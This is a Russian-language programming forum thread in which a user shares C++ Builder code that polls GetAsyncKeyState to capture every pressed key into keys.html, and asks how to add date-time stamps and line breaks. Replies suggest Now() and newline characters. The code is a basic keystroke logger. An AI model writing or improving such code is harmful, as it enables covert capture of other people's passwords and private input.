Запись системного времени в файл.

Добрый день гуру! Есть программка недоработанная. Перехватывает все нажатые клавиши и пишет их в файл. Но все символы идут сплошным текстом. Хочу вставить системное время, потом перехваченные клавиши и сброс на новую строку. Пример:"дата, время" - "перехваченные клавиши"...... 2.12.2011, 01:57 - "перехваченные клавиши" 2.12.2011, 01:58 - "перехваченные клавиши" 2.12.2011, 01:59 - "перехваченные клавиши" 2.12.2011, 02:00 - "перехваченные клавиши" 2.12.2011, 02:01 - "перехваченные клавиши" ...... Вот код записи в файл, перехваченных клавиш. Как сюда можно вставить системное время и дату, подскажите пожалуйста.
{
index=1;
while (index<256)
{
result=GetAsyncKeyState(index);
Application->ProcessMessages();
if (result!=0) {
             IsSystemKey(index);
             if (KEY!="") Memo1->Lines->Add(KEY);
             else Memo1->Lines->Add((char)index);
             Memo1->Lines->SaveToFile("keys.html");
             while (result!=0)
             {
             result=GetAsyncKeyState(index);
             }
             index=1;
}
index++;
}
6 ответов

Now(); - возвращает дату и время в строке ты ведь в Borland-e


Now(); - возвращает дату и время в строке ты ведь в Borland-e
Да делаю в c++ builder (RAD), через форму. Но проблема не в самой функции..., а в том, как вставить её в код, чтобы время и дата записывались с новой строки, а после них перехваченные клавиши.


Вот держи.
Memo1->Lines->Add("'" + Now() + "', " + IntToStr((char)'A'));


Тобишь это получается так?
index=1;
while (index<256)
{
result=GetAsyncKeyState(index);
Application->ProcessMessages();
if (result!=0) {
             IsSystemKey(index);
             if (KEY!="") Memo1->Lines->Add(KEY);
             else Memo1->Lines->Add((char)index);
                         Memo1->Lines->Add("'" + Now() + "', " + IntToStr((char)'A'));
             Memo1->Lines->SaveToFile("keys.html");
             while (result!=0)
             {
             result=GetAsyncKeyState(index);
             }
             index=1;
}
index++;
}
Атом, большое тебе спасибо, все отлично работает, только пишет все в кучу - сплошным текстом. Может ты знаешь как сделать перенос на новую строку каждую секунду? Буду тебе очень благодарен!в TXT файле он и так пишет все с новой строки, а вот в HTML все сплошным текстом


Memo1->Lines->Add("'" + Now() + "', " + IntToStr((char)'A') + '\r');  
// если не поможет то '\n',  если ещё не поможет "\r\n"


нее, ни один из 3 вариантов не подошел )). Больше ничего из системных функций нету?